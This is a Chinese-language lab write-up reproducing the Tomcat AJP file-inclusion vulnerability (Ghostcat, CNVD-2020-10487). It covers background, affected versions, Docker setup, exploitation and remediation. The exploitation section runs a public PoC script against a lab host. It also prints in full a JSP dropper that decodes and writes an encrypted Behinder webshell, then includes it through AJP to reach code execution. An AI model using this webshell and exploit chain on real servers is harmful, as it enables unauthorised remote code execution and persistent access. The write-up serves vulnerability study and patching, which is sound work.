CNVD-2020-10487-Tomcat-Ajp-文件包含漏洞复现
0x00:简介
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
0x01:漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
0x02:影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
0x03:漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
漏洞具体成因见: https://www.cnblogs.com/backlion/p/12870365.html
人话就是可以调用ajp的部分方法,达到读取文件、文件包含的效果。
0x04:漏洞复现
一:环境搭建
这里使用docker搭建,快捷省事
pull镜像
docker pull negoowen/ghostcat:1.0
启动镜像
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat negoowen/ghostcat:1.0
出现这一长串字符则代表启动成功
进入docker容器,首先查看镜像
docker ps -a
进入镜像
docker exec -it f008d487db42 /bin/bash
进入/usr/local/tomcat/webapps/ROOT/WEB-INF 目录
创建一个内容任意的txt文件 1.txt
使用nmap对靶机进行扫描,此时已经开启了8009端口,nmap的指纹也识别了其为ajp服务。
二:文件读取
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
下载payload
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.150.148 -p 8009 -f WEB-INF/1.txt
即可包含并读取该文件内容
该脚本也可只填写网站地址,脚本内置会读取WEB-INF/web.xml文件。
三:文件包含
该方法比较鸡肋,因为需要服务器有上传功能,这里为了演示,添加内容为冰蝎木马的1.txt文件至/ROOT/下。
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<html><head><title>fuck</title></head>
<body bgcolor="#ffffff">
//mima:pass
<jsp:scriptlet><![CDATA[
String realPath = request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath = dir+"/t00ls.jspx";
File strFile = new File(strPath);
boolean fileCreated = strFile.createNewFile();
Writer jspx = new BufferedWriter(new FileWriter(strFile));
String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4=";
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr = java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]></jsp:scriptlet>
</body>
</html>
</jsp:root>
docker cp /opt/apache-tomcat-8.5.42/webapps/ROOT/1.jsp f008d487db42:/usr/local/tomcat/webapps/ROOT/1.txt
测试可直接访问1.txt
需要对poc进行修改,将包含"/asdf "修改为"/asdf.jspx"
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.150.148 -p 8009 -f 1.txt
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.150.148 -p 8009 -f 1.txt
四:任意文件包含的另一种方法
1:当然也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改)exec.txt内容如下:
2:测试可以正常访问上传文件
3:包含
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.150.148 -p 8009 -f exec.txt
0x05:漏洞修复
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。
1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
2、配置ajp配置中的secretRequired跟secret属性来限制认证